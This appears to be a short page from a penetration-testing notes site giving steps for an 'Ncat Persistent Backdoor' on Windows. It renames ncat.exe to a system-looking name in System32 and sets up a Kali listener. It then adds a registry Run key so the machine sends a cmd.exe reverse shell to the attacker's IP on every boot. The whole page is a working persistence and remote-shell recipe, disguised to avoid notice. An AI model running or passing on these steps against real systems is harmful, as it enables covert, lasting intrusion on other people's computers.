Ncat Persistent Backdoor

  • On victim, rename ncat.exe to winconfig.exe and move it to C:\Windows\System32\winconfig.exe

  • On kali, set up a listener ncat -l -p 5544 -v

  • On windows > Run > regedit >Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run > New > String Value > winconfig > Value data: "C:\Windows\System32\winconfig.exe 192.168.102.145 5544 -e cmd.exe"

PreviousshellshockNextBasic checks

Last updated